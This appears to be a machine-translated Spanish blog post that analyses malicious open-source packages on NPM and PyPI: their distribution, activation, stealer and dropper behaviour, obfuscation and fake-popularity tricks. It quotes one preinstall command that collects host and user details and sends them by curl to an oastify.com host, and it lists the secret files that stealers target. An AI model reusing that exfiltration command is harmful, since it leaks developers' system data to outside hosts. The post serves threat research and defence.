En el episodio anterior, Paquetes maliciosos de código abierto: el problema, discutimos por qué los actores de amenazas eran tan entusiasta por publicar nuevos componentes maliciosos o inyectar malware en las últimas versiones de componentes existentes: la infraestructura de código abierto permite a cualquier persona en cualquier lugar crear una cuenta efímera en un registro de componentes (como NPM, PyPI, Docker Hub o Visual Studio Marketplace) o plataforma de desarrollo colaborativo (como GitHub). Costo cero y muchas oportunidades para aprovechar el exceso de confianza que los equipos de software tradicionalmente tienen en componentes de terceros.
La asimetría entre lo fácil que es para los atacantes distribuir malware utilizando la infraestructura disponible para el código abierto y lo difícil que es para las organizaciones que desarrollan software (¿todos?) evitar infectarse con malware (y entregar malware en el software que distribuyen) otros), llevó a que el año pasado casi se alcanzara la marca del cuarto de millón de paquetes maliciosos.
Este es un problema de tal magnitud que ninguna organización puede resolverlo por sí sola, y la comunidad está en el proceso de replantear el proceso de código abierto en relación con los principios de confianza, seguridad por defecto y seguridad por diseño, y el ciclo de vida de los componentes. Echaremos un vistazo a estas ideas en el próximo episodio. Protección contra paquetes maliciosos de código abierto: qué funciona (o no).
Recuerde que estamos hablando de componentes de software que la mayoría de las veces corresponden a paquetes de software: componentes reutilizables empaquetados para poder hacer referencia a ellos como una dependencia en un manifiesto de software e instalarlos con un administrador de paquetes o una herramienta de compilación. Tenga en cuenta que este caso podría ampliarse para incluir al público. Imágenes de contenedor (utilizado por tiempos de ejecución de contenedores y plataformas de orquestación como Kubernetes), y extensiones a herramientas de software (para construcción, automatización e implementación).
Aquí analizamos cómo esto táctica de ataque basada en componentes maliciosos funciona, según ejemplos anteriores y lo que hemos visto en nuestra plataforma de Alerta Temprana de Malware (MAULLAR). Analizaremos componentes maliciosos en diferentes dimensiones:
(1) la forma elegida para la distribución (registro utilizado, en un componente nuevo o existente, y la técnica utilizada para infectar la versión publicada del componente), (2) cómo se activa o desencadena el malware, (3) el comportamiento malicioso, es decir, qué acciones dañinas se observan y cuál es la motivación del atacante, (4) qué técnicas son comunes para la ofuscación, el ocultamiento para pasar desapercibido, el movimiento lateral, la comunicación con hosts de comando y control (C2), etc.; y (5) las técnicas para ganar suficiente popularidad y confianza para que las víctimas terminen instalando el componente.
El mecanismo de distribución elegido
Observamos un “ruido de fondo” de paquetes maliciosos poco sofisticados que utilizan typosquatting para engañar a desarrolladores desprevenidos con un error tipográfico en el nombre del paquete para su dependencia. Muchos paquetes populares reciben una avalancha de paquetes con nombres similares y errores tipográficos, con la expectativa de que suplanten a algunos desarrolladores desprevenidos.
Usan una cuenta efímera, publican un grupo de paquetes typosquat, crean otro y publican otro grupo... Utilizando algo de automatización e ingenio pueden conseguir algo de sofisticación, pero normalmente son bastante triviales. Internamente los llamamos “anchoas”. El objetivo principal es el robo de credenciales, pero ocasionalmente encontramos software espía que filtra el código fuente o datos confidenciales como información de identificación personal (PII), captura del portapapeles y otras dudas.
De la nada, vemos componentes maliciosos más sofisticados, los “tiburones”. Una minoría está dirigida a grupos u organizaciones específicas, normalmente con criptodrenadores o skimmers web que se activan de forma condicional, tal vez siguiendo el enfoque visto en el incidente de flujo de eventos de descifrar la carga útil del ataque solo cuando se hace referencia al paquete desde un paquete de destino.
El mecanismo de distribución fue analizado en el excelente y ahora clásico artículo, “Colección de cuchillos del traidor: una revisión de los ataques a la cadena de suministro de software de código abierto”, que es una lectura obligada. Seguramente has visto este bonito gráfico antes:
Se exploraron todas las vías, incluidos paquetes nuevos y existentes; afectar el código fuente, el sistema de compilación o el propio componente empaquetado; utilizar credenciales robadas o ingeniería social; secuestrar cuentas y repositorios abandonados o envenenar los mantenidos. Algunos ataques recibieron nombres (Typosquatting, Confusión de dependencia, Confusión manifiesta, Secuestro de repositorios. etc.) y ya fueron discutidos en otra parte.
¿Qué pasa con los registros elegidos?
NPM continúa liderando la cantidad total de paquetes maliciosos, pero vimos un aumento a partir de este año en PyPI. Python es un ecosistema popular para la ciencia de datos y el aprendizaje automático. De hecho, la densidad de malware es ahora mayor en PyPI que en NPM.
Cómo se activa el malware
Los paquetes maliciosos se activan durante la instalación sólo en 4 de cada 10 casos (en los últimos años fue cerca de 6 de cada 10). El resto ejecuta comportamientos maliciosos en tiempo de ejecución, y 1 de cada 100 se activa durante la ejecución de pruebas. Los adversarios parecen saber que la ejecución incontrolada de scripts de instalación fue desactivada en muchos lugares.
¿Qué se llevan los malos?
Enumeraremos las categorías de comportamiento malicioso, con las más populares primero. Tenga en cuenta que el impacto podría ser muy diferente: un limpiaparabrisas Es obstinadamente destructivo, pero no es común y solo se vio en unos pocos casos, relacionados con campañas de ciberguerra selectivas o hacktivismo brutal. Las siguientes categorías son bastante comunes:
- InfoStealer / Drenador de credenciales. Con diferencia, los más frecuentes, más del 90 % de los ataques poco sofisticados son simples ladrones que buscan principalmente credenciales como contraseñas, tokens de acceso, claves API y claves privadas (para SSH y similares). Probablemente sea el más sencillo de escribir (¿junto con los limpiaparabrisas?). Enumeran archivos/directorios conocidos y otras fuentes (por ejemplo, claves de registro), empaquetan el contenido y envían esos datos a un servidor C2. La idea es simple: “Publico un ladrón de credenciales de phishing, para luego poder usar las credenciales para lanzar un ataque dirigido”.
Las redes C2 observadas suelen ser baratas y sucias, como los canales de Telegram o herramientas de tunelización tipo ngrok (a menudo en forma de servidores proxy inversos expuestos a través de IP de salida de VPN). Hay cientos (!) de posibilidades, con muchos proyectos de GitHub bajo el tema de ladrón de contraseñas. Las especializaciones como los registradores de teclas son poco comunes en paquetes maliciosos e imágenes de contenedores, pero son más frecuentes en extensiones de herramientas, donde se espera la interacción del usuario.
- Gotero / Descargador. El segundo en popularidad y normalmente ocupa el primer lugar en ataques de varias etapas. Más de uno de cada tres componentes maliciosos tiene droppers (si la carga útil maliciosa viene incluida en el paquete) o descargadores (la carga útil se descarga desde un punto final bajo el control del atacante). La carga útil suele ser una variante conocida de malware binario y se ejecuta y, a veces, persiste para instalar puertas traseras, software espía, drenajes de cifrado y otros casos de uso. La carga útil descargada o implementada inicia un ataque de segunda fase con todo el poder proporcionado por los archivos binarios de malware existentes. Los binarios se pueden distribuir dentro del paquete, a menudo disfrazados de imágenes o tipos de archivos supuestamente inocuos, para evitar la detección al conectarse a sitios inesperados.
- Ladrones/mineros de criptomonedas. Los adversarios con motivación financiera están dispuestos a utilizar sus activos en la nube para ejecutar criptomineros (incluso detectan si se están ejecutando en una máquina virtual en la nube). No les importa el ratio de bajo beneficio de 1 dólar por cada 53 dólares cobrados a la víctima por la infraestructura de nube robada. Es posible que las víctimas no se den cuenta de esto hasta que reciban una factura inesperada. Afortunadamente, esto va y viene. Cryptojacking Ocasionalmente aparecen campañas en paquetes maliciosos que luego desaparecen, phishing para usuarios de billeteras o, eventualmente, dirigidas al proveedor de billeteras, como en el caso de Ataque al libro mayor.
Otros comportamientos, como implementar un puerta trasera para la ejecución remota de código abriendo un shell inverso es menos frecuente ahora que en el pasado. Por ejemplo, el 123rf_contributor_web El paquete (ahora eliminado del registro) se abre sin ninguna ofuscación, un shell inverso copiado y pegado desde el Hoja de trucos de Shell inverso:
Además de los componentes legítimos y maliciosos, hemos observado varios abusos, entre ellos:
Paquetes de spam
Hay miles de paquetes pequeños, la mayoría en NPM, sin malware pero que prometen ganancias fáciles, aceite de serpiente, enlaces a ofertas de Viagra y todo eso. Unos pocos usuarios publican este tipo de spam y consumen mucho ancho de banda del registro. Otro(s) actor(es) posiblemente de Indonesia intentaron obtener beneficios mediante abusando del rango de té destinado a compensar a los desarrolladores de código abierto, mediante la creación de decenas de miles de paquetes NPM interrelacionados con repositorios ficticios de GitHub relacionados. Esta es una clara violación de los términos de uso.
Recompensas por errores y engaños en investigaciones de seguridad
Cuando un paquete se describe a sí mismo como una filtración de datos con buenos propósitos, como detectar fallas de seguridad para programas de recompensas por errores o investigar ciertos aspectos del ecosistema. Hemos visto miles de paquetes en esta categoría, que obtienen identificación pero no datos demasiado confidenciales para una dirección de Burp Collaborator de PortSwigger (por ejemplo, host en el dominio oastify.com). A menudo observamos imitadores de la Confusión de dependencia prueba de concepto de Alex Birsan, como el aurora-webmail-pro paquete (eliminado del registro), que simplemente ejecuta este código desagradable en el script de preinstalación:
exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done")
Y también incluyó un “Esta es una prueba de concepto simple de ataque de confusión de dependencia"Descripción de exención de responsabilidad en el package.json. Esta es una clara violación de los términos de servicio, incluso sin intención maliciosa.
¿Algunas buenas noticias? No hemos visto (todavía) ataques de ransomware entregados a través de componentes maliciosos. Por razones desconocidas, los ciberdelincuentes parecen preferir mecanismos de entrega de descargas no autorizadas y de phishing por correo electrónico más tradicionales, basados en RDP.
Técnicas adicionales observadas
Se utilizaron muchas técnicas para la persistencia, la evasión de defensa, la recopilación de información, la comunicación con los hosts de comando y control y la exfiltración.
Persistencia La intrusión de componentes maliciosos se obtiene utilizando las funciones de persistencia de un malware binario de segunda etapa, pero a veces el comportamiento se localiza en el código del paquete, siendo las tareas programadas y los cambios en el registro de Windows los más comunes.
Ofuscación Es común, pero poco sofisticado. La mayoría de los paquetes tipográficos (recuerde el "anchoas”?) no utilice ofuscación en absoluto; muchos usan cifrados triviales (codificación base64/hexadecimal o cifrados de sustitución como rot13) o usan ofuscadores y minificación de código disponibles, lo que se puede revertir fácilmente con las herramientas adecuadas. Sólo los “tiburones” hacen una ofuscación real, dura y difícil de aplicar ingeniería inversa.
La ofuscación puede ocultar el ataque, pero ¿por qué habría que ofuscar el código de un componente de código abierto? ¿Existe evidencia de que es necesario ocultar algo a simple vista? Hemos encontrado muchos casos de paquetes no maliciosos que utilizan la ofuscación para proteger la propiedad intelectual, lo cual es contradictorio con el “código abierto”. La ofuscación puede utilizarse como prueba de malware, pero no es concluyente. También es difícil despejar la confusión.
Evasión Desde los controles de defensa adopta técnicas simples. El código malicioso suele estar protegido en trata de atraparlo bloques que ignoran cualquier excepción, por lo que la actividad anormal no se muestra en los registros. La verificación del entorno (que se ejecuta en una máquina virtual o contenedor) es poco común, a menos que se trate de malware dirigido a una organización o entorno en particular.
Enmascarar binarios en imágenes y archivos PDF (una especie de esteganografía) fue otra técnica que se consideró para evadir la detección.
Como los componentes maliciosos más comunes son los ladrones de información, de múltiples proveedores Es esencial. Los secretos (contraseñas, tokens de acceso, claves API y claves criptográficas) se analizan rutinariamente en archivos de registro, variables de entorno e incluso en el portapapeles (como ocurre con troyanos bancarios y ladrones de criptomonedas). La exfiltración de código fuente también es común, ya que la instalación de paquetes suele realizarse en un nodo de desarrollo donde se pueden clonar repositorios Git internos. Hemos visto paquetes que enumeran directorios en busca de repositorios Git. Buscar ubicaciones como .env, private.pem, settings.py, app.js o application.properties es bastante común.
La exfiltración es otra acción ampliamente implementada. Sólo una minoría de paquetes maliciosos intenta ocultar el destino de los datos extraídos. Canales de Telegram y túneles tipo ngrok se utilizan a menudo. Y hay muchos normalmente dominios incluidos en la lista blanca que se utilizan para la exfiltración.
Otras técnicas, como la escalada de privilegios o el movimiento lateral, fueron menos comunes.
Ganar popularidad y confianza
Imagínese a un delincuente tecnológico con un objeto malicioso asesino ya preparado preguntándose: “¿Cómo hago este pedazo de m#$! ¿Digno de confianza para esos idiotas desprevenidos?
Eso se traduce en cómo hacer que la entrada del componente malicioso muestre muchas estrellas/bifurcaciones (por popularidad), además de versiones/problemas y pull requests (para la actividad). La idea es ganar popularidad ficticia (estrellas) y dependientes, y una apariencia convincente en cuanto a relevancia y mantenimiento.
El registro no comprueba si el contenido de un proyecto de GitHub y el contenido del paquete coinciden. Este es un problema bien conocido en la cadena de suministro de software. Los registros públicos son socavones gigantes que se tragan todo lo que les arrojan. Puede vincular cualquier repositorio.
Si el paquete malicioso escribe mal uno popular, es fácil: simplemente haga referencia al repositorio de GitHub existente en el manifiesto de dependencias utilizado para crear el paquete y publicarlo en el registro. Para paquetes nuevos en un repositorio de GitHub falso, es posible que necesite más ingenio, tal vez creando paquetes falsos. mirar las estrellas/bifurcar Cuentas de GitHub mediante secuencias de comandos.
Y si el contenido de su paquete es razonablemente similar al repositorio, introduzca un par de cambios bien diseñados aquí y allá... Puede inyectar su malware en un nuevo paquete parecido a uno popular que haga referencia al repositorio existente y esperar a que aparezcan los errores tipográficos. . Si alguien se atreve a comparar el contenido del paquete tarball con el contenido del repositorio de GitHub, las diferencias en los puntos de inyección de malware podrían pasarse por alto fácilmente. Hemos visto este enfoque muchas veces antes.
Sería bienvenido un mecanismo para que un componente haga una declaración a prueba de manipulaciones sobre la procedencia, cómo se construyó el paquete, de qué fuentes y por quién. Pero esa es otra historia.
¿Es el componente X malware?
¿Existe una base de datos (completa) de paquetes maliciosos? No. Las vulnerabilidades de código abierto tienen un ID CVE asignado, pero sólo unos pocos paquetes maliciosos (particularmente los que aparecen en los titulares) reciben uno. El CWE para paquetes maliciosos es CWE-506 (código malicioso incorporado).
Las herramientas de malware habituales (VirusTotal, MalwareBazaar, SOREL-20M…) no prevén específicamente componentes maliciosos. ¡Eso sería bienvenido!
Hay bases de datos de muestra de investigación y conjuntos de datos para análisis (utilizamos algunos de ellos), pero las entradas se actualizan sólo cuando se conoce el paquete malicioso, lo que a menudo es demasiado tarde. Si estás interesado, el OpenSSF Paquetes maliciosos es un buen comienzo.
En la próxima publicación, discutiremos cómo saber si un paquete determinado es malicioso. Spoiler: sí, hay formas de buscar componentes maliciosos al principio del período de exposición, antes de que el registro elimine un componente malicioso conocido.
Seguí leyendo
En el próximo episodio “Protección contra paquetes maliciosos de código abierto: qué funciona (o no)" Analizaremos lo que se debe y no se debe hacer en materia de seguridad de código abierto. La mayoría de los profesionales preocupados por la seguridad tienen intuiciones sobre cómo manejar esta amenaza, pero abundan los conceptos erróneos.
Revisaremos por qué estas ideas son erróneas y cómo dichas ideas erróneas contribuyen a la popularidad de este mecanismo de ataque y al riesgo abrumador que enfrentan las organizaciones. Procederemos entonces a lo que sí funciona, y cuál es el esfuerzo y los recursos que implica.
Además, publicaremos sobre la evolución de los paquetes maliciosos en términos de su intención, mecanismo de inyección y técnicas de ataque.
¡Manténganse al tanto!
